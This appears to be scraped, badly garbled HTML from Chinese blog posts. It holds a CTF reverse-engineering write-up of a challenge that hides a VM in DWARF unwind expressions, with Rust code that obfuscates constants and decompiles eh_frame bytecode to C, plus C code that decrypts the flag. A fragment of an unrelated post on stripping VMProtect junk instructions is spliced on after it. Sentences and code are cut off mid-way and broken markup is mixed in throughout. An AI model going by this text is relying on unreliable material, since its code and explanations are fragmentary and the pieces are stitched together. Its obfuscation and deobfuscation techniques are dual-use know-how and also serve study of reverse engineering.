</span>}).</span>unwrap</span>(); luo-ji">条件逻辑</h2> Expression中没有条件转移的命令，那么意味着如果想要实现类似条件语句，就要转化成数学表达式，在该题中普遍运用了下面表达式</p> ound-color:#383838;color:#e6e1dc;">( ((exp!=1)-1)&num1 ) | ( ((exp!=0)-1)&num2 ) exp?num1:num2</code>的逻辑。</p> g-hun-yao">常量混淆</h2> 只有上面这些，那么就没什么难度了。因此加了一个简单的常量混淆，这样就必须要写自动化脚本来分析这段DWRAF Expression。构造常量混淆的代码如下</p> style="background-color:#383838;color:#e6e1dc;" class="language-rust ">fn </span>exp_constu</span>(</span>exp</span>:</span>&mut</span> Expression, </span>rng</span>:</span>&mut</span> ThreadRng,</span>num</span>:</span>u64</span>,</span>depth</span>:</span>u64</span>){ </span>if</span> depth</span>==</span>0 </span>{ exp.</span>op_constu</span>(num); </span>return</span>; </span>let</span> ty:</span>usize</span>=</span>rng.</span>gen_range</span>(</span>0</span>..</span>9</span>); </span>match</span> ty{ </span>0</span>=></span>{ </span>let</span> xor_num:</span>u64</span>=</span>rng.</span>gen</span>(); </span>exp_constu</span>(exp, rng, xor_num, depth</span>-</span>1</span>); </span>exp_constu</span>(exp, rng, xor_num</span>^</span>num, depth</span>-</span>1</span>); exp.</span>op</span>(gimli::DW_OP_xor); </span>1</span>=></span>{ </span>let</span> add_num:</span>u64</span>=</span>rng.</span>gen</span>(); </span>exp_constu</span>(exp, rng, add_num.</span>wrapping_add</span>(num), depth</span>-</span>1</span>); </span>exp_constu</span>(exp, rng, add_num, depth</span>-</span>1</span>); exp.</span>op</span>(gimli::DW_OP_minus); </span>2</span>=></span>{ </span>let</span> add_num:</span>u64</span>=</span>rng.</span>gen</span>(); </span>exp_constu</span>(exp, rng, num.</span>wrapping_sub</span>(add_num), depth</span>-</span>1</span>); </span>exp_constu</span>(exp, rng, add_num, depth</span>-</span>1</span>); exp.</span>op</span>(gimli::DW_OP_plus); </span>3</span>=></span>{ </span>let</span> num1:</span>u64</span>=</span>rng.gen::<</span>u64</span>>()</span>&</span>num; </span>let </span>mut</span> num2:</span>u64</span>=</span>rng.gen::<</span>u64</span>>()</span>&</span>num; num2</span>|=</span>num</span>&!</span>(num1</span>|</span>num2); assert_eq!(num1</span>|</span>num2,num); </span>exp_constu</span>(exp, rng, num1, depth</span>-</span>1</span>); </span>exp_constu</span>(exp, rng, num2, depth</span>-</span>1</span>); exp.</span>op</span>(gimli::DW_OP_or); </span>4</span>=></span>{ </span>let</span> num1:</span>u64</span>=</span>rng.gen::<</span>u64</span>>()</span>&!</span>num; </span>let </span>mut</span> num2:</span>u64</span>=</span>rng.gen::<</span>u64</span>>()</span>&!</span>num; num2</span>|=!</span>num</span>&!</span>(num1</span>|</span>num2); assert_eq!(</span>!</span>num1</span>&!</span>num2,num); </span>exp_constu</span>(exp, rng, </span>!</span>num1, depth</span>-</span>1</span>); </span>exp_constu</span>(exp, rng, </span>!</span>num2, depth</span>-</span>1</span>); exp.</span>op</span>(gimli::DW_OP_and); </span>5</span>=></span>{ </span>exp_constu</span>(exp, rng, </span>!</span>num, depth</span>-</span>1</span>); exp.</span>op</span>(gimli::DW_OP_not); </span>6</span>=></span>{ exp.</span>op</span>(gimli::DW_OP_dup); </span>exp_constu</span>(exp, rng, num, depth</span>-</span>1</span>); exp.</span>op</span>(gimli::DW_OP_swap); exp.</span>op</span>(gimli::DW_OP_drop); </span>7</span>=></span>{ </span>let</span> rand_num:</span>u64</span>=</span>rng.</span>gen</span>(); </span>exp_constu</span>(exp, rng, rand_num, depth</span>-</span>1</span>); </span>exp_constu</span>(exp, rng, num, depth</span>-</span>1</span>); exp.</span>op</span>(gimli::DW_OP_swap); exp.</span>op</span>(gimli::DW_OP_drop); </span>8</span>=></span>{ </span>let</span> rand_num1:</span>u64</span>=</span>rng.</span>gen</span>(); </span>let</span> rand_num2:</span>u64</span>=</span>rng.</span>gen</span>(); </span>exp_constu</span>(exp, rng, rand_num1, depth</span>-</span>1</span>); </span>exp_constu</span>(exp, rng, rand_num2, depth</span>-</span>1</span>); </span>exp_constu</span>(exp, rng, num, depth</span>-</span>1</span>); exp.</span>op</span>(gimli::DW_OP_rot); exp.</span>op</span>(gimli::DW_OP_drop); exp.</span>op</span>(gimli::DW_OP_drop); </span>_=></span>{} 译发现程序必定会输出Success! Your flag is flag{%016lx%016lx}\n</code>，但是通过运行程序发现输出的是Error</code>。研究一项输出Error</code>的条件，发现是r13</code>不为0时输出，那么通过调试可以发现是在throw-catch</code>的过程中修改了r13</code>。</p> rel="noopener" target="_blank" href="https://bbs.pediy.com/thread-271891.htm">通过DWARF Expression将代码隐藏在栈展开过程中</a>这篇文章，可以得知有可能是在DWRAF中恢复寄存器的表达式中做了手脚。通过readelf -wf nothing</code>查看得到大量信息。其中有4段DW_CFA_val_expression</code>非常长就是恢复寄存器所运行的表达式，具体指令含义请参考文档DWARF 5 Standard</a>(2.5 DWARF Expressions)。显然这种长度手工分析已经不可能了，因此这里写了一个简单的分析器，他可以把这些栈操作变成c代码，然后通过编译器的-O3</code>优化，可以得到较为简单的表达式。</p> style="background-color:#383838;color:#e6e1dc;" class="language-rust ">// [dependencies] style="color:#95815e;">// gimli = "0.26.1" style="color:#95815e;">// object = "0.29.0" style="color:#cc7833;">use </span>std::{collections::HashMap, fs, fmt::Display, io::Write}; style="color:#cc7833;">use </span>std::process::Command; style="color:#cc7833;">use </span>gimli::UnwindSection; style="color:#cc7833;">use </span>object::{Object, ObjectSection}; style="font-style:italic;color:#6e9cbe;">fn </span>main</span>() -> </span>Result</span><(), </span>Box</span><dyn std::error::Error>> { </span>let </span>mut</span> arg </span>= </span>std::env::args(); </span>if</span> arg.</span>len</span>() </span>!= </span>2 </span>{ panic!(</span>"Argument Error!"</span>) </span>let</span> bin_data </span>= </span>fs::read(arg.</span>nth</span>(</span>1</span>).</span>unwrap</span>())</span>?</span>; </span>let</span> obj_file </span>= </span>object::File::parse(</span>&*</span>bin_data)</span>?</span>; </span>let</span> data </span>=</span> obj_file.</span>section_by_name</span>(</span>".eh_frame"</span>).</span>unwrap</span>(); </span>let</span> eh_frame </span>= </span>gimli::read::EhFrame::new(data.</span>data</span>()</span>?</span>, gimli::LittleEndian); </span>let</span> bases </span>= </span>gimli::BaseAddresses::default().</span>set_eh_frame</span>(data.</span>address</span>()); </span>let </span>mut</span> entries </span>=</span> eh_frame.</span>entries</span>(</span>&</span>bases); </span>let </span>mut</span> file </span>= </span>fs::OpenOptions::new().</span>append</span>(</span>false</span>).</span>truncate</span>(</span>true</span>).</span>write</span>(</span>true</span>).</span>create</span>(</span>true</span>).</span>open</span>(</span>"./output.c"</span>)</span>?</span>; writeln!(file, </span>"#include <stdint.h>"</span>)</span>?</span>; </span>let </span>mut</span> cies </span>= </span>HashMap::new(); </span>while </span>let Some</span>(entry) </span>=</span> entries.</span>next</span>()</span>? </span>{ </span>if </span>let </span>gimli::CieOrFde::Fde(partial) </span>=</span> entry { </span>let</span> fde </span>=</span> partial.</span>parse</span>(|_, </span>bases</span>, </span>o</span>| { cies.</span>entry</span>(o) .</span>or_insert_with</span>(|| eh_frame.</span>cie_from_offset</span>(bases, o)) .</span>clone</span>() })</span>?</span>; </span>// 通过长度过滤出我们想要的 </span>if</span> fde.</span>entry_len</span>() </span>< </span>100 </span>{ </span>continue</span>; </span>let </span>mut</span> instructions </span>=</span> fde.</span>instructions</span>(</span>&</span>eh_frame, </span>&</span>bases); </span>use </span>gimli::CallFrameInstruction::</span>*</span>; </span>loop </span>{ </span>match</span> instructions.</span>next</span>() { </span>Err</span>(e) </span>=> </span>{ println!(</span>"Failed to decode CFI instruction: </span>{}</span>"</span>, e); </span>break</span>; </span>Ok</span>(</span>Some</span>(ValExpression { register, expression, })) </span>=> </span>{ println!( </span>"DW_CFA_val_expression (</span>{}</span>, ...)"</span>, gimli::</span>X86_64</span>::register_name(register).</span>unwrap_or</span>(</span>"{unknown}"</span>) ); </span>display_val_expression</span>(register, expression, </span>&mut</span> file)</span>?</span>; </span>Ok</span>(</span>None</span>) </span>=> </span>{ </span>break</span>; </span>_ => </span>{} file.</span>flush</span>()</span>?</span>; Command::new(</span>"gcc"</span>) .</span>arg</span>(</span>"-O3"</span>) .</span>arg</span>(</span>"./output.c"</span>) .</span>arg</span>(</span>"-c"</span>) .</span>spawn</span>()</span>?</span>; </span>Ok</span>(()) #[derive(Clone, Copy)] style="font-style:italic;color:#6e9cbe;">struct </span>Val { </span>id</span>: </span>u64</span>, style="font-style:italic;color:#6e9cbe;">impl </span>Val { </span>fn </span>new</span>(</span>id</span>: </span>u64</span>) -> </span>Self </span>{ style="font-style:italic;color:#6e9cbe;">struct </span>ValGenerator { </span>id</span>: </span>u64</span>, style="font-style:italic;color:#6e9cbe;">impl </span>ValGenerator { </span>fn </span>new</span>() -> </span>Self </span>{ </span>Self </span>{ id: </span>0 </span>} </span>fn </span>next</span>(</span>&mut </span>self</span>) -> Val { </span>self</span>.id </span>+= </span>1</span>; Val::new(</span>self</span>.id </span>- </span>1</span>) style="font-style:italic;color:#6e9cbe;">impl </span>Display </span>for </span>Val { </span>fn </span>fmt</span>(</span>&</span>self</span>, </span>f</span>: </span>&mut </span>std::fmt::Formatter<'</span>_</span>>) -> std::fmt::Result { write!(f, </span>"v</span>{}</span>"</span>, </span>self</span>.id) style="font-style:italic;color:#6e9cbe;">fn </span>display_val_expression</span><R>(</span>target_reg</span>: gimli::Register, </span>exp</span>: gimli::Expression<R>, </span>w</span>: </span>&mut</span> dyn Write) -> </span>Result</span><(), </span>Box</span><dyn std::error::Error>> </span>where R: gimli::Reader, </span>let </span>mut</span> val_generator </span>= </span>ValGenerator::new(); </span>let </span>mut</span> ops </span>=</span> exp.</span>operations</span>(gimli::Encoding { address_size: </span>8</span>, format: gimli::Format::Dwarf64, version: </span>5 </span>}); </span>let </span>mut</span> stack: </span>Vec</span><Val> </span>= </span>Vec</span>::new(); writeln!(w, </span>"uint64_t cal_</span>{}</span>(uint64_t r12, uint64_t r13, uint64_t r14, uint64_t r15)</span>{{</span>"</span>, gimli::</span>X86_64</span>::register_name(target_reg).</span>unwrap</span>())</span>?</span>; writeln!(w, </span>"    uint64_t rax=0,rbx=0;"</span>)</span>?</span>; </span>loop </span>{ </span>if </span>let Ok</span>(</span>Some</span>(op)) </span>=</span> ops.</span>next</span>() { </span>match</span> op { gimli::Operation::Drop </span>=> </span>{ stack.</span>pop</span>(); gimli::Operation::Pick { index } </span>=> </span>{ </span>let</span> val1 </span>=</span> stack.</span>get</span>(stack.</span>len</span>() </span>- </span>1 </span>-</span> index </span>as </span>usize</span>).</span>unwrap</span>(); </span>let</span> new_val </span>=</span> val_generator.</span>next</span>(); writeln!(w, </span>"    uint64_t </span>{}</span>=</span>{}</span>;"</span>, new_val, val1)</span>?</span>; stack.</span>push</span>(new_val); gimli::Operation::Swap </span>=> </span>{ </span>let</span> val1 </span>=</span> stack.</span>pop</span>().</span>unwrap</span>(); </span>let</span> val2 </span>=</span> stack.</span>pop</span>().</span>unwrap</span>(); stack.</span>push</span>(val1); stack.</span>push</span>(val2); gimli::Operation::Rot </span>=> </span>{ </span>let</span> val1 </span>=</span> stack.</span>pop</span>().</span>unwrap</span>(); </span>let</span> val2 </span>=</span> stack.</span>pop</span>().</span>unwrap</span>(); </span>let</span> val3 </span>=</span> stack.</span>pop</span>().</span>unwrap</span>(); stack.</span>push</span>(val1); stack.</span>push</span>(val3); stack.</span>push</span>(val2); gimli::Operation::And </span>=> </span>{ </span>let</span> val1 </span>=</span> stack.</span>pop</span>().</span>unwrap</span>(); </span>let</span> val2 </span>=</span> stack.</span>pop</span>().</span>unwrap</span>(); </span>let</span> new_val </span>=</span> val_generator.</span>next</span>(); writeln!(w, </span>"    uint64_t </span>{}</span>=</span>{}</span>&</span>{}</span>;"</span>, new_val, val2, val1)</span>?</span>; stack.</span>push</span>(new_val); gimli::Operation::Minus </span>=> </span>{ </span>let</span> val1 </span>=</span> stack.</span>pop</span>().</span>unwrap</span>(); </span>let</span> val2 </span>=</span> stack.</span>pop</span>().</span>unwrap</span>(); </span>let</span> new_val </span>=</span> val_generator.</span>next</span>(); writeln!(w, </span>"    uint64_t </span>{}</span>=</span>{}</span>-</span>{}</span>;"</span>, new_val, val2, val1)</span>?</span>; stack.</span>push</span>(new_val); gimli::Operation::Neg </span>=> </span>{ </span>let</span> val </span>=</span> stack.</span>get</span>(stack.</span>len</span>() </span>- </span>1</span>).</span>unwrap</span>(); writeln!(w, </span>"    </span>{}</span>=-</span>{}</span>;"</span>, val, val)</span>?</span>; gimli::Operation::Not </span>=> </span>{ </span>let</span> val </span>=</span> stack.</span>get</span>(stack.</span>len</span>() </span>- </span>1</span>).</span>unwrap</span>(); writeln!(w, </span>"    </span>{}</span>=~</span>{}</span>;"</span>, val, val)</span>?</span>; gimli::Operation::Or </span>=> </span>{ </span>let</span> val1 </span>=</span> stack.</span>pop</span>().</span>unwrap</span>(); </span>let</span> val2 </span>=</span> stack.</span>pop</span>().</span>unwrap</span>(); </span>let</span> new_val </span>=</span> val_generator.</span>next</span>(); writeln!(w, </span>"    uint64_t </span>{}</span>=</span>{}</span>|</span>{}</span>;"</span>, new_val, val2, val1)</span>?</span>; stack.</span>push</span>(new_val); gimli::Operation::Plus </span>=> </span>{ </span>let</span> val1 </span>=</span> stack.</span>pop</span>().</span>unwrap</span>(); </span>let</span> val2 </span>=</span> stack.</span>pop</span>().</span>unwrap</span>(); </span>let</span> new_val </span>=</span> val_generator.</span>next</span>(); writeln!(w, </span>"    uint64_t </span>{}</span>=</span>{}</span>+</span>{}</span>;"</span>, new_val, val2, val1)</span>?</span>; stack.</span>push</span>(new_val); gimli::Operation::PlusConstant { value } </span>=> </span>{ </span>let</span> val </span>=</span> stack.</span>get</span>(stack.</span>len</span>() </span>- </span>1</span>).</span>unwrap</span>(); writeln!(w, </span>"    </span>{}</span>+=</span>{}</span>ull;"</span>, val, value)</span>?</span>; gimli::Operation::Shl </span>=> </span>{ </span>let</span> val1 </span>=</span> stack.</span>pop</span>().</span>unwrap</span>(); </span>let</span> val2 </span>=</span> stack.</span>pop</span>().</span>unwrap</span>(); </span>let</span> new_val </span>=</span> val_generator.</span>next</span>(); writeln!(w, </span>"    uint64_t </span>{}</span>=</span>{}</span><<</span>{}</span>;"</span>, new_val, val2, val1)</span>?</span>; stack.</span>push</span>(new_val); gimli::Operation::Shr </span>=> </span>{ </span>let</span> val1 </span>=</span> stack.</span>pop</span>().</span>unwrap</span>(); </span>let</span> val2 </span>=</span> stack.</span>pop</span>().</span>unwrap</span>(); </span>let</span> new_val </span>=</span> val_generator.</span>next</span>(); writeln!(w, </span>"    uint64_t </span>{}</span>=</span>{}</span>>></span>{}</span>;"</span>, new_val, val2, val1)</span>?</span>; stack.</span>push</span>(new_val); gimli::Operation::Shra </span>=> </span>{ </span>let</span> val1 </span>=</span> stack.</span>pop</span>().</span>unwrap</span>(); </span>let</span> val2 </span>=</span> stack.</span>pop</span>().</span>unwrap</span>(); </span>let</span> new_val </span>=</span> val_generator.</span>next</span>(); writeln!(w, </span>"    uint64_t </span>{}</span>=(uint64_t)((int64_t)</span>{}</span>>>(int64_t)</span>{}</span>);"</span>, new_val, val2, val1)</span>?</span>; stack.</span>push</span>(new_val); gimli::Operation::Xor </span>=> </span>{ </span>let</span> val1 </span>=</span> stack.</span>pop</span>().</span>unwrap</span>(); </span>let</span> val2 </span>=</span> stack.</span>pop</span>().</span>unwrap</span>(); </span>let</span> new_val </span>=</span> val_generator.</span>next</span>(); writeln!(w, </span>"    uint64_t </span>{}</span>=</span>{}</span>^</span>{}</span>;"</span>, new_val, val2, val1)</span>?</span>; stack.</span>push</span>(new_val); gimli::Operation::Eq </span>=> </span>{ </span>let</span> val1 </span>=</span> stack.</span>pop</span>().</span>unwrap</span>(); </span>let</span> val2 </span>=</span> stack.</span>pop</span>().</span>unwrap</span>(); </span>let</span> new_val </span>=</span> val_generator.</span>next</span>(); writeln!(w, </span>"    uint64_t </span>{}</span>= </span>{}</span>==</span>{}</span>?1:0;"</span>, new_val, val2, val1)</span>?</span>; stack.</span>push</span>(new_val); gimli::Operation::Ge </span>=> </span>{ </span>let</span> val1 </span>=</span> stack.</span>pop</span>().</span>unwrap</span>(); </span>let</span> val2 </span>=</span> stack.</span>pop</span>().</span>unwrap</span>(); </span>let</span> new_val </span>=</span> val_generator.</span>next</span>(); writeln!(w, </span>"    uint64_t </span>{}</span>=</span>{}</span>>=</span>{}</span>?1:0;"</span>, new_val, val2, val1)</span>?</span>; stack.</span>push</span>(new_val); gimli::Operation::Gt </span>=> </span>{ </span>let</span> val1 </span>=</span> stack.</span>pop</span>().</span>unwrap</span>(); </span>let</span> val2 </span>=</span> stack.</span>pop</span>().</span>unwrap</span>(); </span>let</span> new_val </span>=</span> val_generator.</span>next</span>(); writeln!(w, </span>"    uint64_t </span>{}</span>=</span>{}</span>></span>{}</span>?1:0;"</span>, new_val, val2, val1)</span>?</span>; stack.</span>push</span>(new_val); gimli::Operation::Le </span>=> </span>{ </span>let</span> val1 </span>=</span> stack.</span>pop</span>().</span>unwrap</span>(); </span>let</span> val2 </span>=</span> stack.</span>pop</span>().</span>unwrap</span>(); </span>let</span> new_val </span>=</span> val_generator.</span>next</span>(); writeln!(w, </span>"    uint64_t </span>{}</span>=</span>{}</span><=</span>{}</span>?1:0;"</span>, new_val, val2, val1)</span>?</span>; stack.</span>push</span>(new_val); gimli::Operation::Lt </span>=> </span>{ </span>let</span> val1 </span>=</span> stack.</span>pop</span>().</span>unwrap</span>(); </span>let</span> val2 </span>=</span> stack.</span>pop</span>().</span>unwrap</span>(); </span>let</span> new_val </span>=</span> val_generator.</span>next</span>(); writeln!(w, </span>"    uint64_t </span>{}</span>=</span>{}</span><</span>{}</span>?1:0;"</span>, new_val, val2, val1)</span>?</span>; stack.</span>push</span>(new_val); gimli::Operation::Ne </span>=> </span>{ </span>let</span> val1 </span>=</span> stack.</span>pop</span>().</span>unwrap</span>(); </span>let</span> val2 </span>=</span> stack.</span>pop</span>().</span>unwrap</span>(); </span>let</span> new_val </span>=</span> val_generator.</span>next</span>(); writeln!(w, </span>"    uint64_t </span>{}</span>=</span>{}</span>!=</span>{}</span>?1:0;"</span>, new_val, val2, val1)</span>?</span>; stack.</span>push</span>(new_val); gimli::Operation::UnsignedConstant { value } </span>=> </span>{ </span>let</span> new_val </span>=</span> val_generator.</span>next</span>(); writeln!(w, </span>"    uint64_t </span>{}</span>=</span>{}</span>ull;"</span>, new_val, value)</span>?</span>; stack.</span>push</span>(new_val); gimli::Operation::SignedConstant { value } </span>=> </span>{ </span>let</span> new_val </span>=</span> val_generator.</span>next</span>(); writeln!(w, </span>"    uint64_t </span>{}</span>=(uint64_t)</span>{}</span>ll;"</span>, new_val, value)</span>?</span>; stack.</span>push</span>(new_val); gimli::Operation::Register { register } </span>=> </span>{ </span>let</span> new_val </span>=</span> val_generator.</span>next</span>(); writeln!(w, </span>"    uint64_t </span>{}</span>=</span>{}</span>;"</span>, new_val, gimli::</span>X86_64</span>::register_name(register).</span>unwrap_or</span>(</span>"{error}"</span>))</span>?</span>; stack.</span>push</span>(new_val); </span>_ => </span>todo!(</span>"{:?}"</span>, op) } </span>else </span>{ </span>break</span>; assert_eq!(stack.</span>len</span>(), </span>1</span>); writeln!(w, </span>"    return </span>{}</span>;"</span>, stack.</span>pop</span>().</span>unwrap</span>())</span>?</span>; writeln!(w, </span>"</span>}}\n</span>"</span>)</span>?</span>; </span>Ok</span>(()) style="background-color:#383838;color:#e6e1dc;" class="language-c ">#include </span><stdint.h> style="font-style:italic;color:#6e9cbe;">uint64_t </span>cal_r12</span>(</span>uint64_t </span>r12</span>, </span>uint64_t </span>r13</span>, </span>uint64_t </span>r14</span>, </span>uint64_t </span>r15</span>){ </span>uint64_t</span> rax</span>=</span>0</span>,rbx</span>=</span>0</span>; </span>uint64_t</span> v0</span>=</span>r12; </span>uint64_t</span> v1</span>=</span>10841219284134096893</span>ull</span>; </span>uint64_t</span> v2</span>=</span>11129291835405172697</span>ull</span>; </span>uint64_t</span> v3</span>=</span>v1</span>&</span>v2; </span>uint64_t</span> v4</span>=</span>7670811485375801638</span>ull</span>; </span>uint64_t</span> v5</span>=</span>9042264754201427834</span>ull</span>; </span>uint64_t</span> v6</span>=</span>13551094804195048963</span>ull</span>; </span>uint64_t</span> v7</span>=</span>v5</span>&</span>v6; </span>uint64_t</span> v8</span>=</span>11953879495213237442</span>ull</span>; v8</span>=~</span>v8; v8</span>=~</span>v8; </span>uint64_t</span> v9</span>=</span>6024959385228738588</span>ull</span>; </span>uint64_t</span> v10</span>=</span>10110448519209335383</span>ull</span>; </span>uint64_t</span> v11</span>=</span>v9</span>^</span>v10; </span>uint64_t</span> v12</span>=</span>18357748223165525310</span>ull</span>; </span>uint64_t</span> v13</span>=</span>v11</span>&</span>v12; </span>uint64_t</span> v14</span>=</span>v8</span>^</span>v13; v14</span>=~</span>v14; </span>uint64_t</span> v15</span>=</span>288301881189795841</span>ull</span>; v15</span>=~</span>v15; </span>uint64_t</span> v16</span>=</span>8268870611111702486</span>ull</span>; </span>uint64_t</span> v17</span>=</span>3955754985819470506</span>ull</span>; </span>uint64_t</span> v18</span>=</span>v16</span>-</span>v17; </span>uint64_t</span> v19</span>=</span>13807121416608770802</span>ull</span>; </span>uint64_t</span> v20</span>=</span>v15</span>&</span>v19; </span>uint64_t</span> v21</span>=</span>12157606309567720355</span>ull</span>; </span>uint64_t</span> v22</span>=</span>5738683437199689134</span>ull</span>; </span>uint64_t</span> v23</span>=</span>9508833155140800093</span>ull</span>; </span>uint64_t</span> v24</span>=</span>v22</span>+</span>v23; </span>uint64_t</span> v25</span>=</span>2318908854934060614</span>ull</span>; </span>uint64_t</span> v26</span>=</span>15520974619213676469</span>ull</span>; </span>uint64_t</span> v27</span>=</span>v25</span>+</span>v26; </span>uint64_t</span> v28</span>=</span>11008240194628928020</span>ull</span>; v28</span>=~</span>v28; </span>uint64_t</span> v29</span>=</span>v27</span>&</span>v28; </span>uint64_t</span> v30</span>=</span>v24</span>-</span>v29; </span>uint64_t</span> v31</span>=</span>13784270564178122628</span>ull</span>; </span>uint64_t</span> v32</span>=</span>1297940605539369143</span>ull</span>; </span>uint64_t</span> v33</span>=</span>10325368571782404983</span>ull</span>; </span>uint64_t</span> v34</span>=</span>v32</span>^</span>v33; </span>uint64_t</span> v35</span>=</span>13072036865594709985</span>ull</span>; </span>uint64_t</span> v36</span>=</span>14411389371001456874</span>ull</span>; </span>uint64_t</span> v37</span>=</span>1733989214560846096</span>ull</span>; </span>uint64_t</span> v38</span>=</span>3680308739910074691</span>ull</span>; </span>... </code>加上-O3</code>参数编译，再通过逆向工具反编译，得到的结果如下</p> 表达式，可以发现他们都在根据R12</code>的低8位进行选择不同的功能。可以列得下表（具体数据每个附件不一样）：</p> style="text-align: center">R12&0xff</th> R12</th> R13</th> R14</th> R15</th></tr></thead>
1</td> R13+11448659141604722329</td> R14</td> R15</td></tr> center">1</td> 1</td> R13</td> R14^(r13+6754348585825892801)^(r13>>30)^(r15<<24)</td> R15</td></tr> center">2</td> 1</td> R13</td> R15</td> R14</td></tr> center">3</td> 1</td> R13</td> R14^5050961714944838468</td> R15^17385842772293075248</td></tr> center">4</td> R12>>8</td> R13</td> R14</td> R15</td></tr> center">5</td> 0</td> R13</td> R14</td> R15</td></tr> center">6</td> r13 == 14610338879684656475 ? (r12 >> 8) : 2</td> R13</td> R14</td> R15</td></tr> center">7</td> 1</td> r14!=9785931681412827268 | r15!=6634550174467950632</td> R14</td> R15</td></tr> 果，发现每次都会取v10+i</code>的地方的内容放入寄存器r12</code>中，因此v10</code>里面存的是是操作码。每次执行完后又会i+=r12</code>，因此返回的r12</code>是对应下一个操作码与当前的操作码的偏移。结合上表，4号功能是无条件转移，5号功能是结束运行，6号功能是条件跳转（条件是r13 == 14610338879684656475</code>）。</p> 息，可以把加密过程写出如下代码。注意：每个不同的附件的下面常量都是不一样的。</p> style="background-color:#383838;color:#e6e1dc;" class="language-c ">#include </span><stdint.h> style="color:#cc7833;">#define </span>XOR_NUM_A </span>5050961714944838468</span>ull style="color:#cc7833;">#define </span>XOR_NUM_B </span>17385842772293075248</span>ull style="color:#cc7833;">#define </span>DELTA_END </span>14610338879684656475</span>ull style="color:#cc7833;">#define </span>DETLE     </span>11448659141604722329</span>ull style="color:#cc7833;">#define </span>HASH_NUM  </span>6754348585825892801</span>ull style="color:#cc7833;">#define </span>RESULT_A  </span>9785931681412827268</span>ull style="color:#cc7833;">#define </span>RESULT_B  </span>6634550174467950632</span>ull style="font-style:italic;color:#6e9cbe;">uint64_t </span>enc</span>(</span>uint64_t </span>num_a</span>, </span>uint64_t </span>num_b</span>){ </span>uint64_t</span> r13</span>=</span>0</span>, r14</span>=</span>num_a, r15</span>=</span>num_b; r14</span>^=</span>XOR_NUM_A; r15</span>^=</span>XOR_NUM_B; </span>while</span>(r13</span>!=</span>DELTA_END) { r13</span>+=</span>DETLE; r14</span>^=</span>(r13</span>+</span>HASH_NUM)</span>^</span>(r13</span>>></span>30</span>)</span>^</span>(r15</span><<</span>24</span>); </span>uint64_t</span> tmp</span>=</span>r14; r14</span>=</span>r15; r15</span>=</span>tmp; r14</span>^=</span>XOR_NUM_A; r15</span>^=</span>XOR_NUM_B; </span>return</span> r14</span>!=</span>RESULT_A </span>||</span> r15</span>!=</span>RESULT_B; cipher，根据该密码的特点，可以写得解密函数：</p> style="background-color:#383838;color:#e6e1dc;" class="language-c ">#include </span><stdint.h> style="color:#cc7833;">#define </span>XOR_NUM_A </span>5050961714944838468</span>ull style="color:#cc7833;">#define </span>XOR_NUM_B </span>17385842772293075248</span>ull style="color:#cc7833;">#define </span>DELTA_END </span>14610338879684656475</span>ull style="color:#cc7833;">#define </span>DETLE     </span>11448659141604722329</span>ull style="color:#cc7833;">#define </span>HASH_NUM  </span>6754348585825892801</span>ull style="color:#cc7833;">#define </span>RESULT_A  </span>9785931681412827268</span>ull style="color:#cc7833;">#define </span>RESULT_B  </span>6634550174467950632</span>ull style="font-style:italic;color:#6e9cbe;">void </span>dec</span>(</span>uint64_t</span>* </span>flag_a</span>, </span>uint64_t</span>* </span>flag_b</span>){ </span>uint64_t</span> r13</span>=</span>DELTA_END, r14</span>=</span>RESULT_A, r15</span>=</span>RESULT_B; r14</span>^=</span>XOR_NUM_A; r15</span>^=</span>XOR_NUM_B; </span>while</span>(r13) { </span>uint64_t</span> tmp</span>=</span>r14; r14</span>=</span>r15; r15</span>=</span>tmp; r14</span>^=</span>(r13</span>+</span>HASH_NUM)</span>^</span>(r13</span>>></span>30</span>)</span>^</span>(r15</span><<</span>24</span>); r13</span>-=</span>DETLE; r14</span>^=</span>XOR_NUM_A; r15</span>^=</span>XOR_NUM_B; </span>*</span>flag_a</span>=</span>r14; </span>*</span>flag_b</span>=</span>r15; style="font-style:italic;color:#6e9cbe;">int </span>main</span>(){ </span>uint64_t</span> flag_a,flag_b; dec(</span>&</span>flag_a,</span>&</span>flag_b); </span>printf</span>(</span>"flag{</span>%016llx%016llx</span>}"</span>,flag_a,flag_b); </span>return </span>0</span>; ri-char/nothing-ctf</a></p> target="_blank" href="https://bbs.pediy.com/thread-271891.htm">通过DWARF Expression将代码隐藏在栈展开过程中</a></p> target="_blank" href="https://dwarfstd.org/doc/DWARF5.pdf">DWARF 5 Standard</a></p> target="_blank" href="https://sourceware.org/binutils/docs/as/CFI-directives.html">CFI directives</a></p> target="_blank" href="https://eli.thegreenplace.net/2011/02/07/how-debuggers-work-part-3-debugging-information">Debugging information</a></p>
在VMProtect混淆中，经常可以看到对一个寄存器进行了一堆操作，最后却直接把这个寄存器覆盖了。例如下面代码，刚给给ebx</code>赋上0xabcd</code>然后做了一系列运算，但是最后直接把他清空了，因此前三句就是无用指令。</p>
mov     </span>ebx</span>, </span>0xabcd
</span></mark>add     </span>ebx</span>, </span>0xcdef
</span></mark>not     </span>ebx
</span></mark>xor     </span>ebx</span>, </span>ebx
</span></code></pre>
参考了B站大佬的视频里的算法，通过一个简单的原则——对同一个寄存器的连续两次写入，前一次写入是无用的，就可以处理大部分情况。然后我们再假设对内存的操作都是有效的，因为在VMP中，用内存进行局部混淆的代码几乎没有。还有一些代码如xor rax,rax</code>看起来是对rax既有读、又有写，但实际上我们知道，这行汇编等价于mov rax,0</code>，因此只有对rax</code>的写入，这类指令需要我们做特殊处理。</p>

     </iframe>
</div>
数据结构设计</h1>
在这个项目中，我把类似于rax</code>、eax</code>、ah</code>、al</code>的寄存器当做不同的寄存器，但是对大的寄存器进行读写的操作时，也会同时对小的寄存器进行读写。EFLAGS</code>中每个标志位都把他看成单独的寄存器，一次提高匹配粒度。</p>
每条指令都要记录对寄存器的读写，以及对EFLAGS</code>中每个标志位的读写，因此需要四个变量，每个变量的对应位都代表了某个特定寄存器。除此之外，还有2个属性keep</code>、useless</code>用于手动标记该条指令需要保留或者是无用指令。deleted</code>为识别输出的结果，表示识别出来这条指令是无用的。因此有下面的结构体。</p>
class </span>InstInfo</span>{
</span>public</span>:
</span>    cs_insn </span>*</span>inst;
</span>    </span>uint64_t </span>regs_read{</span>0</span>}, regs_write{</span>0</span>};
</span>    </span>uint16_t </span>eflags_read{</span>0</span>}, eflags_write{</span>0</span>};
</span>    </span>bool </span>keep{</span>false</span>}, useless{</span>false</span>}, deleted{</span>false</span>};
</span>}
</span></code></pre>
初始化</h1>
在构造上面结构体的时候，要识别出这条指令的寄存器读写操作、以及EFLAGS</code>的读写操作。如果这条指令是要对内存进行操作，那么就要标记keep</code>。
